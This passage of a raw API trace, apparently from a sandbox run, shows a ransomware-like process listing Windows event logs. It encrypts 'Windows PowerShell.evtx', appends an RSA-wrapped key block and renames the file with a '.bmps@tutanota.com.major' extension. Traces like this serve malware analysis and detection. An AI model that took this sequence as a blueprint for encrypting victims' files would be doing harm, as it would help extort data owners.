cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0122.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.018] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0122.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.019] GetLastError () returned 0x12 [0122.019] SetLastError (dwErrCode=0x12) [0122.019] GetLastError () returned 0x12 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] SetLastError (dwErrCode=0x12) [0122.020] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] GetLastError () returned 0x12 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] SetLastError (dwErrCode=0x12) [0122.020] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] GetLastError () returned 0x12 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] SetLastError (dwErrCode=0x12) [0122.020] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] GetLastError () returned 0x12 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] SetLastError (dwErrCode=0x12) [0122.020] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] GetLastError () returned 0x12 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] SetLastError (dwErrCode=0x12) [0122.020] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] GetLastError () returned 0x12 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] SetLastError (dwErrCode=0x12) [0122.020] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] GetLastError () returned 0x12 [0122.020] SetLastError (dwErrCode=0x12) [0122.020] SetLastError (dwErrCode=0x12) [0122.021] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] GetLastError () returned 0x12 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] SetLastError (dwErrCode=0x12) [0122.021] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] GetLastError () returned 0x12 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] SetLastError (dwErrCode=0x12) [0122.021] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] GetLastError () returned 0x12 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] SetLastError (dwErrCode=0x12) [0122.021] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] GetLastError () returned 0x12 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] SetLastError (dwErrCode=0x12) [0122.021] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] GetLastError () returned 0x12 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] SetLastError (dwErrCode=0x12) [0122.021] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] GetLastError () returned 0x12 [0122.021] SetLastError (dwErrCode=0x12) [0122.021] SetLastError (dwErrCode=0x12) [0122.021] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfededffa, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfededffa, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0122.022] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0122.022] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0122.022] SetFileAttributesW (lpFileName="\\Logs\\Windows PowerShell.evtx", dwFileAttributes=0x80) returned 1 [0122.157] CreateFileW (lpFileName="\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0122.157] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0122.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d1808 [0122.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e2810 [0122.157] ReadFile (in: hFile=0x460, lpBuffer=0x5d1808, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1808*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0122.296] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.296] WriteFile (in: hFile=0x460, lpBuffer=0x5e2810*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e2810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0122.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1808 | out: hHeap=0x570000) returned 1 [0122.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e2810 | out: hHeap=0x570000) returned 1 [0122.300] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0122.300] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0122.300] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0122.300] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0122.300] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0122.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0122.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d1808 [0122.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d1808, pcchString=0x2e3f9a8 | out: pszString="o6qPehYAEjgm/2FSsdaEdo0WGuRJJNpdEtsUILR42JCUkGai0g/5EEn15ypWwcJ8\nF2f6sEXBS0kYgWboW/y+nZNBy7/c8BhfcOnrA5aiAPd55vTRohcIOMHvUdNbrX+z\n76NjG84gnuQLLDrVi5fy2IOEt6JPCA/PIv7CpBCN2AqwSIScpjvlyZR5ljIq3aYj\nkGYjug1DCXnhBfWfo8KFlYuJdTg65uHiwSrD1DNkoehnt7hHQI2KE/i/gs2TQw9H\nlcfRWB+QkPZv1DDw891R4hd6lNIfXcow/Q0WcqVjd05fHNkNAsvON1zpGooJjLhH\n6ZQ6P40ganSltmQLdHw+Lw==\n", pcchString=0x2e3f9a8) returned 1 [0122.302] WriteFile (in: hFile=0x460, lpBuffer=0x5d1808*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1808*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0122.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0122.302] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0122.302] CloseHandle (hObject=0x460) returned 1 [0122.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1808 | out: hHeap=0x570000) returned 1 [0122.304] MoveFileExW (lpExistingFileName="\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), lpNewFileName="\\Logs\\Windows PowerShell.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\windows powershell.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0122.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0122.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0122.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0122.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ac8 | out: hHeap=0x570000) returned 1 